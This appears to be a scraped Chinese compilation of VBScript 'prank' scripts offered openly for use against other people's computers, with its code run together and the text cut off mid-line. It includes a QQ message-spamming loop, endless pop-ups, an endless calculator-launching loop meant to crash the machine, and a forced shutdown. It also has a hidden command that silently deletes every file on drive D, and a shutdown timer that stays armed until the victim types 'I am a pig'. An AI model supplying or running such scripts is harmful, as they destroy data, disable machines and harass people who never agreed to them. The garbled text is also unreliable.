vbs整人代码大全

1、精品文档一、你打开好友的聊天对话框, 然后记下在你 QQ里好友的昵称 , 把下面代码里的xx 替换一下 , 就可以自定义发送 QQ信息到好友的次数 ( 代码里的数字 10 改一下即可 ).xx.vbs=>复制代码 代码如下 :On Error Resume NextDim wsh,yeset wsh=createobject("wscript.shell")for i=1 to 10wscript.sleep 700wsh.AppActivate("与 xx聊天中 ")wsh.sendKeys "v"wsh.sendKeys i

2、wsh.sendKeys "%s"nextwscript.quitQQ骚扰信息 , 也可以用在其它程序上。二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈-domsgbox "You are foolish!"loop-三、打开无数个计算器，直到死机-set wsh=createobject("wscript.shell")dowsh.run "calc"loop-四、直接关机-dim WSHshellset WSHshell = wscript.createobject("ws

3、cript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true-。1 欢迎下载精品文档-五、删除所有文件-dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true-六、不断弹出窗口-复制代码 代码如下 :while(1)msgbox " 哈哈 你被耍了

4、！ "loop-七、不断按下 alt+f4（开什么都关闭 ）-复制代码 代码如下 :dim WSHshellset WSHshell = wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys "%F4"loop八、按 500 次回车( 以上代码在运行者的电脑上显示500 个对话框。其中 do until s=500，500可以随意更改 )复制代码 代码如下 :dim sdo until s=500s=s+1msgbox " 哥们，给我按 500 次回车吧 &quo

5、t;,64loop'- -。2 欢迎下载精品文档九、关不掉的窗口复制代码 代码如下 :WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的小朋吗 ?")WScript.Echo("哈, 我想你拉，这你都不知道吗？")WScript.Echo("怎么才来，说 是不是不关心我 ")WScript.Echo("哼, 我生气拉，等你这么久，心都凉啦。")WScript.Echo("小强很生气，后果很严重哦。&qu

6、ot;)WScript.Echo("嘿嘿！你也会很惨滴哦 ")WScript.Echo("是不是想清除我？ ")WScript.Echo("那你要点上 50 下哦，不过会给你惊喜滴")WScript.Echo("还剩 49 下，快点点哦 ")WScript.Echo("还剩 48 下，快点，小笨蛋！ ")WScript.Echo("还剩 47 下对，就这样快点点！ ")WScript.Echo("还剩 46 下。你啊就是笨，要快哦，我先不打扰你工作。")W

7、Script.Echo("还剩 45 下，记得要快哦！ ")WScript.Echo("还剩 43 下")WScript.Echo("还剩 42 下")WScript.Echo("还剩 41 下")WScript.Echo("还剩 40 下")WScript.Echo("还剩 39 下")WScript.Echo("还剩 38 下")WScript.Echo("还剩 37 下")WScript.Echo("还剩 36 下&qu

8、ot;)WScript.Echo("还剩 35 下")WScript.Echo("还剩 34 下")WScript.Echo("还剩 33 下")WScript.Echo("还剩 32 下")WScript.Echo("还剩 30 下")WScript.Echo("还剩 29 下")WScript.Echo("还剩 28 下")WScript.Echo("还剩 27 下")WScript.Echo("还剩 26 下"

9、)WScript.Echo("还剩 25 下")WScript.Echo("还剩 24 下")WScript.Echo("还剩 23 下")WScript.Echo("还剩 22 下")WScript.Echo("还剩 21 下")WScript.Echo("还剩 20 下")WScript.Echo("还剩 19 下")WScript.Echo("还剩 18 下")WScript.Echo("还剩 17 下")。3

10、 欢迎下载精品文档WScript.Echo("还剩 16 下")WScript.Echo("还剩 15 下")WScript.Echo("还剩 14 下")WScript.Echo("还剩 13下停停！慢点，我有话要说 ")WScript.Echo("还剩 12下，你继续点我就会消失滴 ")WScript.Echo("还剩 11下，以后就看不到我拉。 555555")WScript.Echo("还剩 10下，你现在可以选择停止！ ")WScript.Ech

11、o("还剩 9 下。你还点啊，不要我拉？ ")WScript.Echo("还剩 8 下，有点伤心拉，干嘛丢弃人家 ")WScript.Echo("还剩 7 下。疯了，你有点负意！ ")WScript.Echo("还剩 6 下。对。你就点吧，我恨你！ ")WScript.Echo("还剩 5 下，不明白，删除我你就好吗？ ")WScript.Echo("还剩 4下！真要删除我？ ")WScript.Echo("还剩 3下。可是我真的很眷恋你。 ")WScri

12、pt.Echo("还剩 2下。不要这么绝情嘛，人家是爱你的！ ")WScript.Echo("还剩 1下。哼，既然你这么绝情。也别怪我无义！ ")WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")WScript.Echo("想结素我么 ?那你就再多点一次 ")WScript.Echo("想结素我么 ?那你就再多点一次 ")WScript.Echo("想结素我么 ?那你就再多点一次 ")WScript.Echo("想结素我么 ?那

13、你就再多点一次 ")WScript.Echo("想结素我么 ?那你就再多点一次 ")WScript.Echo("想结素我么 ?那你就再多点一次 ")WScript.Echo("想结素我么 ?那你就再多点一次 ")WScript.Echo("想结素我么 ?那你就再多点一次 ")WScript.Echo("想结素我么 ?那你就再多点一次 ")WScript.Echo("想结素我么 ?那你就再多点一次 ")两个整人的 VBS脚本 2009-07-16 18:16文章录入：

14、 7747.Net责任编辑： 7747.Net 564【字体：小大】测试环境： Windows 2003 系统大家好我是 Vanlisa QQ137841986今天给大家带来两个整人的 VBS脚本 希望大家喜欢VBS脚本大家都知道吧 第一个是定时关机的如果把他发给你的 QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的时间内关机 我设置的是 3 分钟 只要输入就解除了 当然如果不输的话也有解除的办法我们来看下这个脚本复制代码 代码如下 :。4 欢迎下载精品文档on error resume nextdim WSHshellAset WSHshellA = wscript.createob

15、ject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下 ··"" ",0 ,truedim ado while(a <> "我是猪 ")a = inputbox ("说我是猪 , 就不关机，快撒，说 "" 我是猪 "" "," 说不说","&qu

16、ot;,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛 "dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + &

17、quot;哈哈哈哈，好乖 "新建一个记事本把上面的代码复制进去另存为 VBE格式的就可以了cmd.exe /c shutdown -r -t 180 -c这里的数字可以修改关机时间 180 秒这些文字也可以自设 这个脚本启用 cmd 里的关机程序如果不输的的话可以打开任务管理器输入 shutdown -a来解除 我们试下 这时定时关机已经没了 但是还有个关不掉的窗口我们打开任务管理器结束掉 Wscript.exe这个进程就 OK了 这时就完全解除这个脚本了Wscript时 Windows 脚本宿主-下面看第二个整人的脚本-复制代码 代码如下 :set ws=createobject(

18、"wscript.shell")call shutdown(1)do while a<>"我是猪 "a=inputbox("快在下面的框框里输入我是猪, 否则后果自负，快输 "" 我是猪 """," 输不输 ","")loopcall shutdown(2)msgbox " 早说就行了嘛 ",4096+64msgbox"再输一遍我是猪 !",4096+64msgbox"我是猪 !",4

19、096+64。5 欢迎下载精品文档MsgBox"最后一次 !",4096+64MsgBox"如果你很快的点过去 , 不看的话 ",4096+64MsgBox"我就要你踩我空间的 ! 哼 !",4096+64MsgBox"从前有座山 !",4096+64MsgBox"山里有个庙 .",4096+64MsgBox"庙里有个老和尚在讲故事.",4096+64msgbox"哎呀累了！数绵羊哄我睡觉",4096+64for i=1 to 100MsgBox i&" 只绵羊 ",4096+64nextmsgbox"哎呀我困了，这次就饶过你吧，